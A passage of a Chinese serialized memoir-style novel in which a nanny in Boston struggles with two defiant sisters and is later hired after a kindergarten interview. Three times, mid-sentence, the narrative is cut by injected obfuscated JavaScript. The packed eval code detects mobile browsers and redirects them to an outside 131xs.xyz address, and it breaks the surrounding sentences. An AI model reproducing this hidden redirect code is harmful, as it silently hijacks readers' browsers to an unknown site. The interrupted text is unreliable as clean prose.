这是安卡惯用的离间手法,故意说她的某个玩具朋友不喜欢我,或者她的什么宝贝别人都可以摸,唯独我不能摸,想以此来让我难受,我做出不以为意的样子,不再理会她。 这时米娅的爸爸来接米娅,顺便和安卡讲了几句话,安卡便很高兴地将嗅嗅放到他的胳膊上以示友好。 回家的路上安卡再次向我发起挑战,故意不顾我的阻止在一个很大的路口大着胆子一个人冲了过去,我心知此时任何多余的说教只能换来她更强烈的反弹和挑衅,于是隔着马路喊道:“待在那边,别再跑过来了,小心前面有车!”然后带着班缇从斑马线走过去和她会合。 安卡大约也没料到我会这么做,方才使出的那招仿佛打到了空气里,轻飘飘地没了力道。 她又使出第二招,故意一个人远远落在后面,这次我没像往常那样唤她等她,而是见招拆招由得她去,转而牵起班缇的手边走边聊——这段时间我已经渐渐摸索出了班缇的脾性,她其实非常被动粘人,喜欢来自大人的牵手和拥抱,在大人坚持要求她做特定的事情时会放弃自己的主张,以前回家路上她常常找借口逃跑又一路拖拉,如果催促她还会很不高兴,后来我发现只要温和地拉起她的手对她说“要回家了,不能再玩了”,她便会高高兴兴地屈服。 琳达全家要回澳大利亚一个星期续工作签证,明天晚上出发,我就问班缇:“你们回澳大利亚的旅行准备得怎么样了?”“你开不开心?”“以前有没有回去过?”“喜欢澳大利亚什么地方?” 班缇话匣子一打开便收不住了,和我聊完旅行又向我描述她如何制作想象中的一款自创甜点,一直说到家门口。 我一面听班缇说话一面不时偷偷回头照看着安卡的安全,表面上却装作漠不关心的样子,安卡没了倚仗只得一路闷头跟在后面,不过始终和我们保持着一段距离。 班缇在家门口停下察看信箱,我站在一旁等待,也顺便等来了落在后面的安卡,她一言不发打开车库门走进去,我和班缇跟在后面。 到地下室大家脱下鞋子,我温和地向两个孩子交待:“上楼后我希望你们先洗手,然后把水杯饭盒放到厨房,再找一本想让我读给你们听的故事书。” 这回安卡居然很听话,主动向我报备要先去卧室换裤子,去厕所洗手也先来知会一声。 安卡换完裤子突然大惊失色地发现她的嗅嗅不见了,撇着嘴就要哭,我的同情心这时又占了上风,立即出于本能地抚着她的肩膀安慰她:“冷静冷静,我们一起来帮你找!” 她指着客厅地毯:“我回来的时候就放在这里的!”说完又要哭。 我连忙一边安慰她一边捡起地毯上的每一样东西检查,又问班缇:“你最后一次看见嗅嗅是什么时候?” 班缇回答:“是在地下室。”也帮着跑到地下室去找。 我心道只要在家里就好办,问安卡:“会不会在你卧室里?说不定换裤子的时候带进去了。” 她坚持:“当时就放在这里的。”眼看张开嘴又要爆发出大哭。 我连忙抚着她的背说:“不要哭,我们帮你找,你去看看卧室里,万一有呢,嗅嗅有时候也会跑来跑去的。” 她进了卧室,转头出来说:“没有。” 班缇上楼来报告:“楼下也没有。” 我翻找了她们的书包,然后走进安卡的卧室,从地板上拎起她的雪裤,发现嗅嗅就躺在下面,安卡一把抱住嗅嗅破涕为笑,一场乌龙风波总算平息了。 吃零食的时候安卡不愿意吃我放在塑料碗里她午餐吃剩的饼干,抗议道:“妈妈说我不用吃完。” 我看看她,什么也没说,因为不知道该说什么——如果说她必须吃必然引来她的反弹,如果说她可以不吃那又遂了她为所欲为的心愿。 她见我沉着脸不说话,居然没再继续抗议,拿起碗吃起来。 故事读到一大半,她小心翼翼地问:“彦岚,我已经把碗里的东西都吃完了,可还是觉得饿,我可不可以再吃点东西?” 我于是领她去厨房让她自己选想吃的东西,她拿了一管酸奶和一角奶酪,又爬到橱柜上取下一盒木糖醇口香糖对我说:“妈妈说这个对牙齿好,让我每天吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437791|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗。” 我问班缇要不要再吃点什么,班缇拿了些饼干,安卡也要饼干,我说:“你已经有别的了,所以我只能给你一点点饼干。” 她把奶酪放回冰箱:“那我不吃奶酪了。” 我给了她一些饼干,她嫌不够,我又给一些,她还是嫌不够,我担心她吃太多晚饭吃不下,说“可以了”,把饼干盒收起来回到客厅,过一会儿她也乖乖跟了过来。 今天时间充裕,我应班缇的要求读了两本书,安卡问为什么,我趁机解释:“因为你们今天在操场上只玩了十五分钟,回来的路上又抓紧时间,所以我们有更多的时间读故事。” 听完故事两个孩子开始做作业,安卡虽然不情愿地拖拉了一下,也很快乖乖执行,这时琳达突然打电话说她和亨特五分钟后到家,今天的看护要提早结束。我感到很意外,下星期是琳达的生日,我本想让两个孩子写完作业给妈妈做一张生日卡片,现在却不得不匆匆打断。 琳达到家后抱歉地向我解释想让孩子提前整理行装,又说:“谢谢你昨天和我说的那些话”。 我祝他们旅途顺利,然后几乎被琳达匆匆送出了门,她看上去显得有些不自在,不知是否因为没提前和我打招呼而感到尴尬。 琳达今天的态度让我有些困惑,我甚至开始怀疑昨天那番话是不是她真正爱听的,还是她并不觉得她的女儿有什么大不了的问题,宁愿女儿每天下午过得开开心心,并不期待来自儿童看护的管教?当然这些可能是我单方面的胡思乱想,她或许只是有太多事情要忙,还要赶明晚的飞机,千头万绪有些顾不过来而已。 这个星期仿佛打了一场硬仗,总算暂时告一段落,至少接下来可以休息一小段时间。将来怎样我不知道,或许继续,或许因为某些原因戛然而止,被感激也好,不被感激也罢,被理解也好,不被理解也罢,我始终只是一个外人——对我来说这大约便是从事这一行业最大的悲哀吧!但我仍应珍视自己,一切的辛苦努力只当是为了自己,为了自己认为正确的事,而他们终将只是我生命中的过客。 无端发了一通类似结束语的感慨,内心似乎已经隐隐觉得有事会发生,却没想到变化会来得如此迅速而神奇,以致于当二十多天后命运的转折再次来到面前,我竟丝毫不觉得惊讶。 28. 第十七章 和解 琳达全家从澳大利亚回来后取消了接下来一周的看护,称亨特在家带孩子,我内心有些忐忑,以为琳达不想再让我做她的儿童看护了,不过静下心来想想又觉得应该不是这样。 就在这时突然收到一封邮件,对方名叫沙文,自称是莱克星顿一所幼儿园的园长,正在招聘一名幼儿园大班老师。我很兴奋,因为安卡令我心有余悸,琳达的态度也不明朗,于是即刻郑重回复了那封邮件并留下手机号码,对方却再无回音。 几天后,正在我准备去琳达家之前沙文突然打来电话,询问我有没有幼儿教师资格证,我解释有加州的资格证,她让我把简历先发给她看看,如果符合要求会再联系我,我当即把简历发过去,并附上我的加州幼教资格证扫描件。 因为这通电话,下午去见孩子和琳达的心态都好了许多,坐在公交车上我一直在阅读中国一位幼儿园园长写的一本育儿书,对照与班缇和安卡的相处生出许多心得感悟,觉得自己对她们的限制似乎过多,实际上也无必要。 因为这本书,见到安卡时我心平气和地向她微笑打招呼,即使她不理不睬也依然笑着追问“你好吗”,她便开始了和我的互动。 照例在操场上玩十五分钟,班缇突然忧心忡忡地朝我走来,安卡哭丧着脸跟在后面,举着手对我说:“我伤到手了。” 我捧起她的手问:“伤到哪儿了?” “这两根手指。” 我仔细看了一下,她说的那两个手指头有点红却并无破损和淤血,应该问题不大,帮她吹了吹,问她要不要回家,她摇摇头。 “你是不是想继续玩?”我又问。 她点点头。 “那你玩的时候注意不要碰到手指。” 珍妮跑过来问:“安卡的手指怎么样了?” 我回答:“看上去问题不大,只要注意别碰到就行了。” 几个孩子离开了,不一会儿安卡把自己和班缇的书包拎到我身边,我说:“哦,你是想让我帮你看着书包,你能帮助你的姐姐,这很好!” 又过了一会儿看见安卡已经开始用那只受伤的手玩单杠,看来应该没事了。 回去的路上我问她们的澳洲之行怎么样,两个孩子兴奋地告诉我:“我们开了拖拉机还喂了牛,我们的爸爸是个农夫,在澳大利亚有农场!” 一周的行程她们印象最深刻的就是开拖拉机和喂牛,可见这两件事在她们幼小的心里是多么新奇。 班缇和安卡一路上继续拖拖拉拉,我想了个主意,对她们说:“如果你们快快地走,我星期四就让你们在操场上多玩十分钟。” 这个办法一开始对安卡还有点用,可班缇却不是玩路边的雪就是玩捡到的树枝,利诱也失败了。 到家班缇告诉我:“我爸爸在外地找了一份新工作,他昨天去了那边,今天晚上也不回来,上完这个学期我们全家都要搬过去。” 我联想到最近这两周琳达神神秘秘的举动,原来是在忙这件事,与我并不相干,看来我和琳达一家的这段缘分真的快要结束了。 两个孩子自己拿了零食,我又从安卡的餐包里找出她中午吃剩的水果,她对我的态度突然变得很坏,嫌恶地把水果放进冰箱,威胁要等妈妈回来再吃,我有些生气地说:“别对我无礼!” 她做完阅读作业又说:“数学作业我要等妈妈回来和妈妈一起做。” 这次我没再阻拦——人之将走,其言也善,我和她们也见不了几次面了,安卡好也罢歹也罢都将不再是我的责任,因此我心里的负面情绪竟很难再积攒起来。 班缇做完阅读作业告诉我没有电脑密码不能做网上的数学作业,看来自从上次和琳达谈话之后电脑“禁令”已经在执行了,我于是陪两个孩子去游戏室玩,没有了电子产品的诱惑,安卡一边玩一边和我说东道西,居然挺开心的。 琳达到家时有些惴惴地问我姑娘们今天怎么样,又分别询问班缇和安卡玩得高不高兴,都得到肯定的答复才松了口气,露出真正轻松的笑容。 我起身准备离开,琳达跟到外面对我说:“我有些事要告诉你,亨特在肯塔基州找到一份很好的工作,所以我们全家打算搬过去,不过我不想打断姑娘们的学校生活,会等到这学期结束。” 因为有了之前层层的心理铺垫,现在听到这些我没有感到任何意外和不悦,很平静地对琳达说:“班缇已经告诉我了,那一定是一份非常好的工作,否则你们也不会从波士顿搬到肯塔基州去。” 琳达笑道:“对,是个很高的职位,亨特现在已经开始工作了,我暂时先在这边带孩子,他每个周末会回来,否则姑娘们会想他,我的上司说我以后可以远程继续自己的工作,每个月回来一周,我们打算搬过去以后买一栋房子。” 因为波士顿的房价很高,我笑着评论道:“那真是太好了,你们可以在那边买一栋很大的房子。” 她也笑:“是的。” “不过搬家的时候你要很辛苦了。” “我会请搬家公司来搬。” “你们现在的房子是买的吗?”我问。 “是租的。” “那还好,至少你不用卖房子,我们曾在亚利桑那州买过一套公寓,才住进去三个月就要搬出来。” “对,你们也搬过很多地方,所以你知道其中的艰辛。” “是的,我知道,所以我讨厌搬家,不过已经习惯了——我们永远不知道接下来会发生什么,所以现在无论再发生什么我都可以接受。” 她微笑:“是的,当你的生活被迫发生改变,说不定更好的正在等着你。” 我点点头:“这正是我想说的。” 第二天上午沙文打电话来询问我拿过哪些幼教课程以及实习过多少小时,又问我有没有兴趣去她们幼儿园看看,这是面试的意思了,我当然回答很感兴趣,和她约了下周一的早上。 星期四孩子们在操场上玩的时候,我和珍妮的妈妈坐在一旁的长椅上聊了会儿天,得知她除了珍妮还有一个三岁的儿子,她笑着感慨:“有了孩子才见识了人性本恶。” 我点头赞同:“现在我也深刻认识到了这一点。” 这时一个看上去五十多岁、打扮时髦却很不符合年龄的中国女人走过来找珍妮的妈妈说了许多话,后者虽然脸上保持着微笑,却有些应付的样子。 我让安卡和班缇在阳光下玩了很久,觉得不应该太过强求,这样她们高兴我也轻松,可终究还是得回家,去叫两个孩子时她们很不乐意,珍妮妈妈也不急着走的样子,我又破例对班缇和安卡说“再多给你们五分钟”,这一多其实又多了十分钟。 与珍妮妈妈告辞后,安卡又开始“犯病”了,不紧不慢地把中午吃剩的零食和水果拿出来在操场旁的石凳上野餐起来,我便耐心地站在一旁看着她——自从读了那本育儿书我受到很多影响,打算看看如果给孩子充分的自由和耐心会有怎样的结果。 安卡愠怒而粗暴地对我说:“不要看着我!” 我问她:“为什么?” “因为我不喜欢!” “你为什么不喜欢?” “我就是不喜欢!” 我今天居然一点儿也没有被她的态度激怒,心平气和地说:“可你还是没有告诉我为什么。” “因为如果你看着我,我会非常生气!” “那你也太容易生气了。”我评论道。 她不说话了,拿起拧不开的杯子让我帮她打开,这个举动让我知道她的坏脾气并非针对我。 拧开杯子,安卡又要来班缇的杯子,把两个杯子里的水倒来倒去,班缇站在一旁焦急地哭喊:“我想要喝我的水!” 我提醒道:“班缇,你如果想喝自己的水可以把自己的杯子拿过来。” 班缇经我提醒似乎突然打开了思路,停止哭泣把自己的杯子从安卡的手里拿了过去——其实我们这些成年后的人又何尝不会陷入这样的思维定势和陷阱,当受到不公正的对待时往往痛苦、焦虑、无措,却忘了去伸手拿回本该属于自己的东西。 我走到前面和班缇说话,安卡又喊我回去等她,我走回去,她问:“你为什么不等我?” 我回答:“因为我站在这里就没法儿避免看着你,我不想让你生气。” 她转头盯着在旁边石沿上走来走去玩耍的几个孩子,我问:“你这么看着他们不怕他们生气吗?” 她理直气壮地回答:“每个人是不一样的。”又拿出中午没吃完的午餐吃起来。 我说:“你现在吃东西,回去就不能再吃东西了。” 她大声道:“你所说的永远不可能发生!” 我问:“为什么?” “因为妈妈说每天回去第一件事就是吃东西。” “那妈妈有没有说可以每天在外面吃完东西再回去吃东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437792|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 她这才不情不愿地收起饭盒——唉,跟她对话真是斗智斗勇! 好不容易上了路班缇又一路玩耍拖拉,到十字路口安卡立刻叛逆地往前冲,我说:“安卡,其实你现在已经长大可以自己过马路了,不过我想和你分享一些过马路的经验,那就是左看看右看看,确认两边没车再过。” 她粗暴地打断我:“我知道!”一个人跑过了马路。 可是此刻班缇却还坐在马路这边的地上把鞋从脚上脱下来查看,我一边注意着安卡一边问班缇怎么了,班缇说:“鞋里进了东西。” 安卡又从马路对面跑回来,我记着育儿书里的理念——“孩子总是在不断探索和学习,也懂得保护自己,而成人给他们设置的各种障碍是没有必要的,体现的是成人自己内心的恐惧”,既然回去的路上车并不多,她也能够自己过马路,这并不是罪过,我又何必阻止呢? 我站在班缇身边等她穿鞋,安卡围在一旁,突然冷冷地对我说:“到暑假我就要离开这里了,我将永远不会再见到你。” 我有些错愕,也正式开始感到有些生气和伤心,直视着她问:“你恨我吗?” “不恨。”她仍是冷冷地回答。 我的气立刻消了大半,又问:“你会想我吗?” “会。” “我也会想你。”我说,气已经全消了。 很庆幸刚才豁出去直接问了她那个问题,避免了不必要的猜忌、受伤和怨气——原来她并不恨我,可能她只是长了一张憎恨的脸吧。 一路走走停停,我没去催促她俩,想看看如果完全由着孩子她们是否会开心,要多久可以到家——事实证明孩子的底线是没有边际的,如果不提醒她们可以一直在外面玩,快到家门口时安卡突然主动加快速度,还不停喊落在后面的班缇快一点,原来她着急要上厕所,到家我看了一下时间,从放学到回家一共用时两个小时,看来对孩子还是要有边界。 一进门安卡就冲进厕所,再出来时捧着一只手告诉班缇手破了,我说“让我看看”,她却恨恨地避开只给班缇看,我问她要不要包扎,她自己去桌上拿了一张餐巾纸捂着,粗暴地对我说:“不要你管!” 我看到餐巾纸渗出一个小血点,应该不严重,便不再追问,而是严肃地对她说:“安卡,我需要和你谈谈。” 在她身边坐下,我问:“为什么今天我感到你对我非常抵触?” 她居然很认真地回答:“因为我今天过得很糟糕,我们班的几个男孩子跟珍妮、米娅、希娜玩却不跟我玩。” 我听到这话忍不住在心里偷笑,看来受不了她性格的并不止我一个,她这种为所欲为、不尊重他人、自我为中心的性格终于为自己的生活招致了直接的不良后果,试问这世上又有谁能总像她妈妈那样对她无限包容呢?许多时候我只是想帮她,她却非但不感激,还不知好歹地一再肆意伤害我和我作对,这对她自己又有什么好处呢? “好吧。”我说,又问,“我今天有对你不好吗?” “你昨天说今天要让我们多玩十分钟,可是你没有。” 原来竟是因为这个,这可真是大大出乎我的意料,我再次庆幸能够平心静气地直接向她询问原因,而没有先入为主代入自己的情绪,看来真像育儿书说的那样,“孩子的世界是很简单的,并没有我们想象的那么复杂”,她表现得阴郁、憎恨、耿耿于怀原来竟是为了这么微不足道的原因,还根本不占理,她只记得我承诺让她们多玩十分钟,却忘了这承诺的前提是要迅速回家,显然这一点她们并没有做到——看来孩子的世界虽然简单却并不公义,只记得对自己有利的好处,却不记得需要承担的责任,还真是记吃不记打呀! 我告诉安卡:“你知道吗?我今天让你们多玩了远远不止十分钟。” 班缇在一旁说:“你还让我们多玩了五分钟。” 我向班缇解释:“我虽然说的是五分钟,其实又让你们多玩了十分钟。” 班缇高兴地说:“那我们就一共多玩了二十多分钟啦!” “对!你们看现在已经四点三十五了,平时我们四点钟之前就到家了,所以你可以知道我们今天多玩了很久。” 安卡不吱声了,我也突然顿悟了一点:原来我们之间关于操场十五分钟最大的矛盾在于小孩子不识数对时间没概念呀,早知道就每次给她们定一个闹铃了,能省掉多少麻烦啊! 29. 第十八章 面试 星期一去幼儿园面试,幼儿园在莱克星顿镇中心一所教堂的侧楼里(波士顿有许多教堂将部分闲置的物业出租给当地私人幼儿园以赚取一些收益),侧楼的一楼是教堂的行政和办公场所,二楼是幼儿园。 我找到幼儿园的入口摸索着上了楼,在正对楼梯的一间办公室里见到一个五十多岁、身材臃肿、戴着眼镜有点金鱼眼的女人。 我对她说:“我是彦岚,和沙文约好了。” 她说:“我就是沙文。” 沙文先让我介绍了一下以前在幼儿园实习时都做些什么,又问我为什么要从原先的专业转到幼儿教育专业,在实习期间最喜欢什么,觉得什么最具有挑战性。 我描述了实习时半天的日程,解释过去几年和先生一起搬了很多地方,无法继续一份稳定的工作,于是开始给孩子当中文家教,很喜欢帮助孩子时的那种成就感,也觉得从孩子身上学到了很多(她听到这里点头表示赞同),从而考虑转行,去学校上了相关的课程;至于挑战性,我略微犹豫了一下,说实习时一切都很顺利,可现在做儿童看护却遇到一个很具有挑战性的孩子。 然后我向沙文出示了参加各种培训的证书、实习证明、成绩单以及做课后活动志愿导师时几个孩子写给我的感谢信。沙文一边查看证书一边点头,看到实习记录,她说“这个很重要,以后用得上”;看到我的成绩单,她笑着说“可以看见你的成绩全都是A”;读到课后活动小组的孩子写给我的感谢信,她笑着评论“很甜蜜”。 随后她起身领我参观幼儿园,办公室右手边是一条狭窄的走道,分布着水槽、洗碗机和给小宝宝换尿布的操作台,显得有些家居,走道两旁有几间不大的房间,其中两间是中班教室,两间是小班教室,一间作为备用教室,每班有十来个孩子和两名老师,沙文一路带我参观一路和遇到的老师打招呼;办公室左手边是一大片没有窗户、铺着木地板的空间,靠墙角堆放着孩子们午睡用的小床垫和一些游戏器械,沙文介绍这是孩子们的活动室兼风雨操场;穿过活动室在角落里有一扇小门,进去走下几级台阶是一间光线昏暗但很大的教室,看上去拥挤杂乱,虽然是白天教室里却开着日光灯,十几个孩子正三三两两分散在房间的几个区域埋头玩耍。 沙文对我说:“这就是你申请职位的大班,这个班目前有十九个孩子和三名老师。” 她把我引荐给教室里的两位老师,一位叫玛丽安,五六十岁年纪,花白的头发在脑后盘成一个髻,精精瘦瘦穿着黑色高领运动夹克,声音沙哑,说话的语调略显强势;另一位叫林奈,看上去三十多岁,体型肥硕脸却很小,齐肩的金发扎成一把,随意地穿着一件灰色连帽套头衫。 我一面笑着向两位老师打招呼,一面在心中暗想:这才是将来我要朝夕相处的人呢。 沙文让我在教室里待一会儿,和老师们聊聊,和孩子们处处,感受一下整个氛围,便先离开了。玛丽安立刻成为主导,领着我在一个小桌前坐下,问我有什么想问的,林奈也坐到一旁,我便问她们一天的日程安排是怎样的,玛丽安于是滔滔不绝讲起来,林奈偶尔在旁补充,听上去她们的日程有些散漫,并不像实习时蒂娜的日程安排那么清晰严谨。 玛丽安有句口头禅“你明白我的意思吗”,她一说这句话我就不明白她是否还有其他深层的含意了,不过我只是点头微笑,并不介意甚至乐见她的强势,因为毕竟自己在这一行是新手,有一位经验丰富的老教师带带没什么不好,我并非来此争功,而是希望能够多学习别人的宝贵经验。 交谈中两位老师不止一次提到“这个班的孩子大了,已经不能再强迫他们做任何事情”,我不免有些惊讶,想不到四五岁的孩子就已经这么有主见,连幼儿园的老师都管不了了,不晓得是所有美国孩子都这样还是仅限于美国东部的幼儿园这样,联想到安卡的倔强和对我的抵触,难道我真是过于限制她的自由了吗?不过换一个角度看,孩子自主,教师应该会轻松一些吧? 玛丽安突然问我:“你对于‘纪律’有什么看法?” 我一时不确定她想问什么,便说:“我觉得一开始就应该确立规则,然后坚持贯彻,否则后面会有很大麻烦。”见她的表情似有所保留,我又补充道,“因为我自己是一个容易对孩子太和善的人,所以总是提醒自己在开始的时候设立好规则。” 也不知道我的回答是否令玛丽安满意,她等我说完接着道:“在我们班上,孩子如果不守纪律我们就会让孩子坐在旁边的椅子上,或是到另外一间房间呆上一会儿,孩子之间如果出现问题我们要介入去解决,你一个人如果解决不了当然也可以叫其他老师一起帮忙。” 我问:“如果我在这儿工作,你们期待我做些什么?” 玛丽安有些夸张地睁大眼睛笑起来,好像我这个问题问得不太合适,她几乎有点不好意思地说:“我们是一个团队,事情都是大家一起做。” 我笑道:“我喜欢有指导方针可以遵循,那会很有帮助。” 与两位老师聊完,玛丽安让我和孩子们待一会儿,我走到三个在玩积木的孩子身边弯腰向他们自我介绍并询问他们的名字,然后坐在地毯上看着他们玩了几分钟,又转移到一旁正在玩立体轨道的几个孩子那里,一个戴眼镜的小男孩问我:“你是老师吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437793|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是的。” 我回答,仿佛笃定这个职位已经是我的了。 过了一会儿教室里又进来一位叫吉莉的老师,看上去很年轻,也是那种肥硕的土豆型身材,我起身和她握了握手,又简短交谈了几句,她说她大专毕业,我不想因为自己的学历让她感到压力,于是自谦道:“我以前只在幼儿园实习过,没有太多工作经验。” 这时候沙文又进来了,还带来一位三十多岁盘着金发、身穿灰色毛线开衫背着公文包的白人女子,我跟随沙文离开,意识到那应该是另一位应聘者。 回到办公室,沙文问我:“你有没有和几位老师都谈一谈,老师们的意见对于招聘新老师是很重要的。” “都谈了。”我回答,却有些后悔刚才没在那几位老师面前好好表现一番,甚至还在吉莉面前自爆短处,说自己没有太多工作经验。 沙文又问我还有什么问题想问她,我便很直接地问:“你想让我在这里工作吗?” 她笑了笑说:“讲实话在你后面还有几位应聘者,所以我现在还不能告诉你结果,你是第一个我联系的人,不过我会在一两周内给你答复——你现在还有其他面试吗?什么时候可以开始上班?” 我回答:“没有其他面试,随时可以上班。” “噢,那太棒了!” 沙文立即很高兴地说,似乎这是她很看重的一个因素。 这时林奈正好进来打印东西,听见我的回答也笑着说:“太好了!“ 从幼儿园出来,我并不十分担心面试结果,觉得该我的就是我的,不该我的也没什么可遗憾。 到家后看看家里窗明几净、宽敞舒适,回想起幼儿园和大班教室阴暗逼仄的环境,想象着如果开始工作就要日复一日每天八小时在那样的环境里面对着那几个人,再也没有现在天天睡到自然醒、想做什么就做什么的自由了,我竟渐渐抑郁起来,越来越觉得自己不属于那个地方。 再想想我见到的另一位面试者,从各方面看似乎都比我显得更加专业更像一名老师,并且后面还有几位应聘者,我凭什么有胜算呢?唯一的胜算可能就是大班的老师们不希望找一个比她们资历更高的老师来做她们的同事吧? 我这时甚至不希望“幸运”地得到这个职位,因为很留恋眼下自由自在的轻松日子,惧怕那种朝九晚五不断重复的紧张日程——不过万一真的得到这份工作,我便会知道这确实是上天的安排,还是会欣然接受、努力去做,只是可能不会长做,因为我的目的只是为了获得足以申请麻省幼教资格证的工作经验,找到一个了解美国社会的切入点,最重要的,是从根源上了解人性,最终认识和提升自我。 30. 第十九章 得心应手 星期二孩子们提前放学,天气阴冷,不一会儿天上落下一阵雨滴,我撑起伞喊在操场上玩的孩子回家,班缇却兴冲冲地说:“我们要玩雨!”反正今天时间很宽裕,我没再多说什么,又过了一会儿温度越来越低,我便坚持叫她们回家了。 两个孩子没带伞,回去的路上安卡要打我的伞,我给她打了一会儿,她却只肯独享不愿和我一起打,我只好把伞拿了回来;班缇也要打我的伞,她倒是愿意和我分享,我就把伞给了她。 安卡从班缇手里接过我的伞,两个人躲在伞下像一只会移动的大蘑菇,我这才意识到原来她们竟然这么矮,平常总是弯腰把她们当做成年人那样说话倒没觉得。安卡和她的小姐姐一起撑着伞兴奋地哈哈大笑,反正这时候雨也小了,我不忍心剥夺她们的快乐,便任由她们打着我的伞,自己走在雨里。 到家后两个孩子没有像平常那样急着找零食吃,而是互相嬉戏打闹,后来干脆打到父母的床上去了。 我跟着她们进了琳达的卧室,安卡大声对我说:“你不能进来!” 我用肯定的语气说:“我可以进来。” 安卡没再说话,看来当成人明确告诉孩子规则的时候孩子是不会反驳的,怕只怕成人没有明确的规则,那么孩子便无法无天了。 我在旁边看了一会儿,见她们的动作并不激烈,应该不会有什么危险,便回到客厅,随手拿起安卡放在电子琴架上的琴谱翻了翻。 安卡从琳达的卧室出来时发现我在翻看她的琴谱,一把夺过去说:“这是我的!”然后开始弹琴,还教我应该怎么弹,虽然她自己弹得也很生疏,弹了几分钟电子琴她又开始玩吹泡泡,并试图用洗碗液自制泡泡水。 读故事时安卡不愿意听我带来的故事书,拿出自己从学校借的两本书,我牢记育儿书里的原则——“顺从孩子的合理心愿”,二话不说就换了书,老实说,她借的两本书都相当有趣。 做作业时出了点麻烦,安卡又开始抵制,声称要和妈妈一起做作业,我平静地对她说:“你知道吗,是你妈妈告诉我‘要让安卡每天读一本书给你听’,如果她下班回来发现安卡没有做完自己该做的事她会不开心,你妈妈每天上班回家已经很累了,我不希望她不开心。” 显然安卡是很爱妈妈的,她听到我的话沉默了片刻,然后拿出数学作业趴在沙发上屁股冲着我做起来,做完又拿出一本识字书,也是故意背对着我读起来,我在后面悄悄地看,虽然很吃力,不过发现她的拼读基本上是正确的,便不再多说什么,也没有强制她一定要让我看她识字书上的内容,反而假装没在看她——这个孩子性格倔强,有很强的逆反心理,如果方式太过刚硬只会激起她强烈的抵触和反弹,最终搞得两败俱伤,但又不能无原则地一味纵容,只能以柔克刚先卸了她的劲,“态度温和而坚决”地慢慢调教。 星期三沙文打来电话说决定录用我,让我星期五去幼儿园填一些表格,至此这份工作算是基本确定了,没想到一切来得这么快,就好像突然从天上掉下来砸在我头上似的。 星期四班缇开信箱时发现一张寄给“班缇女士”的卡片,兴奋不已,安卡却大声“拆台”:“班缇,你不是女士!” 进屋后班缇打开电脑,我提醒她:“班缇,现在不可以玩电脑。” 她解释:“我只是上网查一下有多少名字叫班缇的人。” 我于是凑过去和她一起看,又拿起那张卡片,发现是很多人共同写给“班缇女士”祝她早日康复的,意识到这是一张寄错地址的卡片,所以班缇才会想要上网查询跟自己同名的人——还好刚才没有简单地阻止她使用电脑,否则孩子的合理诉求遭到粗暴拒绝心里该有多委屈,如何不和成年人产生疏离感呢? 回想起安卡曾冲我大喊“这就是为什么我宁愿和班缇说话而不愿意和你说话,因为你不明白我在说什么”,其实她说得并没有错,不仅仅是语言上的障碍,很多时候我无法像她的家人那样因为朝夕相处培养出那种和她们之间的默契,那些时候如果我能够慢一点、多宽容一些、多理解一下、少限制一些,也许结果会好得多吧? 安卡吃完零食又自己去拿出一袋膨化芝士球和两只大瓷碗,我让她少装些她却不听,我只得不顾她的抗议从碗里取出一部分放回袋子里。 她给了班缇一碗芝士球,自己拿着另一碗放到桌上去开她爸爸的电脑,电脑却死机了,她冲班缇大叫道:“班缇,how to turn this off(怎么关上)?” 班缇停下手中的功课帮她,我听成“how to turn this on(怎么打开)”,提醒道:“不能玩电脑。” 班缇对我说:“她说的是怎么关上。” 安卡非常恼火,又开始发脾气,用手去用力敲打电脑,却将放在旁边的瓷碗碰到地板上,芝士球撒了一地,所幸瓷碗没碎。 班缇在一旁说:“这回你得自己打扫干净了。” 安卡气乎乎地去收拾地板上的东西,然后理所当然地打算重新装一碗芝士球,我突然觉得这是一个教育她的绝佳机会——她因为乱发脾气而打翻了碗,理应承担由此造成的不良后果,这样将来当她再想乱发脾气时就会先想想是否准备好承担后果——于是对她说:“你已经得到了你的那一份,不能再拿了。” 她大声抗议:“可是这些掉到地上了,太恶心了!” “是的,这些是掉到地上了,是你把它们毁了,但是你已经得到了你的那份,所以不能再拿了。” 她不理睬我,径自去拿装芝士球的袋子,我赶在她前面把袋子拿在手里冲她摇摇头,她的情绪全面爆发,带着哭腔冲我咆哮道:“滚开!”然后冲进了自己的房间。 我把袋子放回原处,像没事人一样继续和班缇有说有笑,班缇似乎也已经适应了安卡的喜怒无常,平静地继续着手里的事——真得谢谢这个善良贴心的孩子的配合,否则对安卡的教育效果会大打折扣,看来这段时间我们每个人都在成长。 我的内心其实并不似外表那般坚定,犹豫着要不要去安卡的房间劝劝她,不过最终还 